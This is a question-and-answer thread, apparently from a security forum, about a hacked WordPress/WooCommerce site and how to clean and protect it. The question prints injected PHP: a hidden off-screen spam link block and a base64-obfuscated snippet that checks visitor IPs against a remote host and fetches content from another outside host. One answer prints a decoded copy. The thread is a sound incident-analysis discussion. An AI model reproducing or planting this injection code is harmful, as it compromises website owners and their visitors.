6

I have a website created using WordPress and used WooCommerce as the cart plugin. Recently I found it hacked, as it responded to an AJAX request with a HTML code, which should receive a JSON object as the response. As I check the source files, no files were replaced, but I found some unusual codes appended at the end inside 4 php files, including

  • wp-blog-header.php in the root directory
  • bookmark.php in wp-includes directory
  • header.php and footer.php in the theme directory

Following is the code that I found.

echo '<html>
<div style=\'left: -3565px; position: absolute; top: -4812px\'>
<a href="http://pdfagent.info/Youth-Soccer-Jerseys-Wholesale.html">Youth Soccer Jerseys Wholesale</a> 
<a href="http://ryanarnoldrocks.com/Buy-NFL-Jerseys-Wholesale.html">Buy NFL Jerseys Wholesale</a> 
<a href="http://bodywrapsofplano.com/Cheap-Raider-Jerseys.html">Cheap Raider Jerseys</a> 
<a href="http://mobilfotosplus.com/Coach-Canada-Stores-Online.html">Coach Canada Stores Online</a> 
<a href="http://www.officialauthenticcoltsshop.com/Super-Bowl-Andrew-Luck-Jersey">Womens Andrew Luck Limited Super Bowl Jersey</a> 
<a href="http://picklex20.com/Jerseys-For-Cheap.html">Jerseys For Cheap</a> 
<a href="http://sevyamultimedia.com/Cheap-Youth-Soccer-Jerseys.html">Cheap Youth Soccer Jerseys</a> 
<a href="http://www.rdbutlerlaw.com/Cycling-Jerseys-Cheap.html">Cycling Jerseys Cheap</a> 
<a href="http://www.patriotsauthenticofficialonline.com/Super-Bowl-Rob-Gronkowski-Jersey">Kids Rob Gronkowski Pink Jersey</a> 
<a href="http://www.suehenry.biz/Coach-Handbags-Marketing-Strategy.html">Coach Handbags Marketing Strategy</a> 
<a href="http://seo-toronto.net/Coach-Purses-Numbers.html">Coach Purses Numbers</a> 
<a href="http://wegototheo.com/Wholesale-Baseball-Jerseys.html">Wholesale Baseball Jerseys</a> 
<a href="http://www.seahawksofficialonlinestore.com/Super-Bowl-Bobby-Wagner-Jersey">Youth Bobby Wagner Seahawks Jersey</a> 
<a href="http://kitf.org/Coach-Glasses-Outlet.html">Coach Glasses Outlet</a> 
<a href="http://www.nflpackersofficialstore.com/Super-Bowl-Randall-Cobb-Jersey">Randall Cobb Navy Super Bowl Jersey</a> 
<a href="http://rncsolutions.com/Cheap-Hockey-Jerseys-China.html">Cheap Hockey Jerseys China</a> 
<a href="http://www.qualityhomeservices.com/Coach-Factory-Kenosha-Wi.html">Coach Factory Kenosha Wi</a> 
<a href="http://www.proland.com/Wholesale-Hockey-Jerseys.html">Wholesale Hockey Jerseys</a> 
<a href="http://www.tamarinent.com/Buy-Jerseys-Cheap.html">Buy Jerseys Cheap</a> 
<a href="http://www.masterthedashdiet.com/Cheap-Dallas-Stars-Jerseys.html">Cheap Dallas Stars Jerseys</a> 
<a href="http://www.pappasdelaney.com/Cheap-Kids-NFL-Jerseys.html">Cheap Kids NFL Jerseys</a> 
<a href="http://pourlespme.com/Cheap-Baseball-Jerseys-From-China.html">Cheap Baseball Jerseys From China</a> 
<a href="http://studiovideo.com/Coach-Factory-National-Harbor.html">Coach Factory National Harbor</a> 
</div></html>';

And I found following code which is not wordpress.

function q0($h1){$w2=curl_init();curl_setopt($w2,CURLOPT_URL,$h1);curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);$i3=curl_exec($w2);return $i3;}$h1=base64_decode('aHR0cDovL3d3dy5ncmVlbmhlYXJ0dWFlLmNvbS93cC1pbmNsdWRlcy9saWNlbnNlLnR4dA==');$d4=file_get_contents(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('Lw==') ||$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]==base64_decode('L2luZGV4LnBocA==')){if($d4){if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo file_get_contents($h1);exit;}}else{$d4=q0(base64_decode('aHR0cDovL2lwLm11c2VvdmlydHVhbGUubmV0L2NnaS1iaW4vaXBjaGVjay5jZ2k/aXA9').$_SERVER[base64_decode('UkVNT1RFX0FERFI=')]);if($d4==base64_decode('ZmFsc2U=') or $d4==base64_decode('Zm9yYmlkZGVu') or $d4==base64_decode('Rm9yYmlkZGVu')){echo '';}else{echo q0($h1);exit;}}}

I cleaned up those files and changed wp-admin, cPanel and FTP passwords, but the above code showed up in those files, but this time with different links.

I'm still trying to figure out if there is a script within the server which exploits the source files.

Are there any plugins or something that I should use to prevent this?

|improve this question
  • 1
    Is your WP installation and plugins all the latest version? – wireghoul Feb 7 '15 at 10:15
  • Wordpress is currently up to date. But the plugins including WooCommerce is not, as the edits we have currently done on the WooCommerce plugin will be replaced if we do the update. – Shehan Thamel Feb 8 '15 at 9:10
2

The fact that the code that was put into your site specifically puts links in a div off the screen leads me to believe that this is the work of an SEO scammer who is exploiting a vulnerability that is most likely to be in one of your plugins or perhaps in your comment settings. If you have plugins that have not had any updates in a long time that might be a good place to start looking.

A bit of a nuclear option is to download a fresh copy of WordPress and any plugins that you have not customized. Additionally you will want to have a clean copy of everything that is customized (including your theme and any custom plugins). Hopefully you have automatic backups of your database because you will likely you need to restore that too.

After you are confident you have a clean version of your entire site you need to pick some down time to delete your site and upload the clean version. I say delete your site because just uploading the clean version will not overwrite any extra files that might be hiding somewhere.

Depending on your Internet connection (and the size of your site) you can perhaps have this done relatively quickly.

If you have a large archive of uploaded images (etc) that will pose the most annoying part of this nuclear option because it is the least likely part of your site to be backed up. You could choose to leave your uploads in place and hope that there is no malicious files in there. If you did nuke everything but your uploads and found that the problem persists then you might have isolated the problem to that folder, but it's not the most likely location.

Of course, you should also change all administrator passwords (I don't know how many users you have, but this may need to extend to all users).

In the end, even nuking/re-building your entire site is still no guarantee because there could be a vulnerability in one of your plugins that has yet to be patched.

EDIT:

Here is the function you posted after it is decoded and indented for readablilty

function q0($h1)
{
    $w2=curl_init();
    curl_setopt($w2,CURLOPT_URL,$h1);
    curl_setopt($w2,CURLOPT_RETURNTRANSFER,TRUE);
    $i3=curl_exec($w2);
    return $i3;
}
$h1=http://www.greenheartuae.com/wp-includes/license.txt;
$d4=file_get_contents('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
if($_SERVER['REQUEST_URI']=='/' ||$_SERVER['REQUEST_URI']=='/index.php')
{
    if($d4)
    {
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo file_get_contents($h1);
            exit;
        }
    }
    else
    {
        $d4=q0('http://ip.museovirtuale.net/cgi-bin/ipcheck.cgi?ip='.$_SERVER['REMOTE_ADDR']);
        if($d4==false or $d4=='forbidden' or $d4=='Forbidden')
        {
            echo '';
        }
        else
        {
            echo q0($h1);
            exit;
        }
    }
}

As you can see it is using cURL to get some data off another server. Most likely the data is the links you are seeing and that is why the links can change. The nature of the links leads me back to my original assumption that this is the work of an SEO scammer looking for link backs (although it still could be a ruse for something else). Also, you can see the web addresses that it is linking to. One of the sites appears to be another WordPress site while the other was caught by my anti-virus and is clearly bad news.

|improve this answer
  • I agree it's more likely a plugin issue than a compromised password. Last time I had an issue like this is was because of an out of date uploader – MattP Aug 9 '15 at 15:15
0

What you want to do is to find a way to check if files are being changed on the system. To do that you need to have a process that checks the integrity of the files in a timely fashion, either through 1. a file integrity monitor like tripwire, 2. a process like auditd that is hooked into the kernel, or 3. some other process that does not look like any of the traditional methods here.

Once changed, you'll have the unenviable task of finding out which user did it, if it's from some other method other than through the web or something else entirely.

|improve this answer
0

It may not help you to figure out what did this action, but you may presume it's comming from the webserver (possibly PHP).

What you may do is to protect theses file against modification, by chmoding the read-only and assign them to a user that is not the web-server user.

For instance, on a Linux box, you could do something like :

chown root:root *.php
chmod 644 *.php

This will prevent a hacker to modify theses file from the web server, and can be used as a temporary protection while your investigate the problem.

|improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.